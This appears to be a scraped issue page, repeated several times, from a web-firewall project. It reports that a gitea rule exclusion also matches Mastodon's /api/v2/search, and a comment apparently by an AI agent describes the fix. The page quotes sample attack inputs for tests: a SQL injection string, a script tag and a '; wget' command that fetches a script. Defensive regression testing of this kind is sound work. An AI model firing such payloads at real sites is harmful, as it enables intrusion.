internal/coreruleset/gitea.conf (rule 900600) excludes q from about 25 rules on ^/[^/]+/[^/]+/search$, gitea's search inside a repository. That pattern also matches /api/v2/search, Mastodon's search, as if api were an owner and v2 a repository. Gitea reserves the name api, so no gitea repository has that path.
Effect on next at c1bb813: GET /api/v2/search?q=1'%20OR%20'1'='1, ?q=<script>alert(1)</script> and ?q=; wget http://example.com/x.sh score 0 at the defaults, on any site.
Fix: keep the owner from being api in that alternative of 900600, for example (?!api/)[^/]+/[^/]+/search, with a test that the attacks above are refused on /api/v2/search?q=.
Found while building Mastodon's exclusions (#238), whose attack tests leave out /api/v2/search until this lands.
Model: opus-5-5
`internal/coreruleset/gitea.conf` (rule 900600) excludes `q` from about 25 rules on `^/[^/]+/[^/]+/search$`, gitea's search inside a repository. That pattern also matches `/api/v2/search`, Mastodon's search, as if `api` were an owner and `v2` a repository. Gitea reserves the name `api`, so no gitea repository has that path.
Effect on `next` at `c1bb813`: `GET /api/v2/search?q=1'%20OR%20'1'='1`, `?q=<script>alert(1)</script>` and `?q=; wget http://example.com/x.sh` score 0 at the defaults, on any site.
Fix: keep the owner from being `api` in that alternative of 900600, for example `(?!api/)[^/]+/[^/]+/search`, with a test that the attacks above are refused on `/api/v2/search?q=`.
Found while building Mastodon's exclusions (https://git.eeqj.de/sneak/smallwebwaf/issues/238), whose attack tests leave out `/api/v2/search` until this lands.
Model: opus-5-5
Definition of done, one PR into next; this goes before other units, since attacks pass at the defaults:
In internal/coreruleset/gitea.conf, the alternative of 900600 that matches gitea's search inside a repository no longer matches an owner named api, as the fix above says. Nothing else in the rule changes.
A test in internal/coreruleset shows SQL injection, script injection and ; wget http://example.com/x.sh in q refused on /api/v2/search, and gitea's recorded repository searches still passing.
SPEC.md, where it describes gitea's fixes, says the repository search excludes the owner api, if it names that path.
If #225 has landed, the change stays inside gitea's section.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Label the PR needs-review.
Model: opus-5-5
**Definition of done**, one PR into `next`; this goes before other units, since attacks pass at the defaults:
- In `internal/coreruleset/gitea.conf`, the alternative of 900600 that matches gitea's search inside a repository no longer matches an owner named `api`, as the fix above says. Nothing else in the rule changes.
- A test in `internal/coreruleset` shows SQL injection, script injection and `; wget http://example.com/x.sh` in `q` refused on `/api/v2/search`, and gitea's recorded repository searches still passing.
- `SPEC.md`, where it describes gitea's fixes, says the repository search excludes the owner `api`, if it names that path.
- If https://git.eeqj.de/sneak/smallwebwaf/pulls/225 has landed, the change stays inside gitea's section.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Label the PR `needs-review`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-10 02:26:26 +01:00
Built in #269: rule 900600 now chains a condition that leaves out /api/<x>/search. The suggested (?!api/) does not load, since Go's regular expressions have no lookahead. The same gap in the Referer exclusion (900601) is #270.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/269: rule 900600 now chains a condition that leaves out `/api/<x>/search`. The suggested `(?!api/)` does not load, since Go's regular expressions have no lookahead. The same gap in the `Referer` exclusion (900601) is https://git.eeqj.de/sneak/smallwebwaf/issues/270.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
internal/coreruleset/gitea.conf(rule 900600) excludesqfrom about 25 rules on^/[^/]+/[^/]+/search$, gitea's search inside a repository. That pattern also matches/api/v2/search, Mastodon's search, as ifapiwere an owner andv2a repository. Gitea reserves the nameapi, so no gitea repository has that path.Effect on
nextatc1bb813:GET /api/v2/search?q=1'%20OR%20'1'='1,?q=<script>alert(1)</script>and?q=; wget http://example.com/x.shscore 0 at the defaults, on any site.Fix: keep the owner from being
apiin that alternative of 900600, for example(?!api/)[^/]+/[^/]+/search, with a test that the attacks above are refused on/api/v2/search?q=.Found while building Mastodon's exclusions (#238), whose attack tests leave out
/api/v2/searchuntil this lands.Model: opus-5-5
Definition of done, one PR into
next; this goes before other units, since attacks pass at the defaults:internal/coreruleset/gitea.conf, the alternative of 900600 that matches gitea's search inside a repository no longer matches an owner namedapi, as the fix above says. Nothing else in the rule changes.internal/corerulesetshows SQL injection, script injection and; wget http://example.com/x.shinqrefused on/api/v2/search, and gitea's recorded repository searches still passing.SPEC.md, where it describes gitea's fixes, says the repository search excludes the ownerapi, if it names that path.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Label the PRneeds-review.Model: opus-5-5
Built in #269: rule 900600 now chains a condition that leaves out
/api/<x>/search. The suggested(?!api/)does not load, since Go's regular expressions have no lookahead. The same gap in theRefererexclusion (900601) is #270.Model: opus-5-5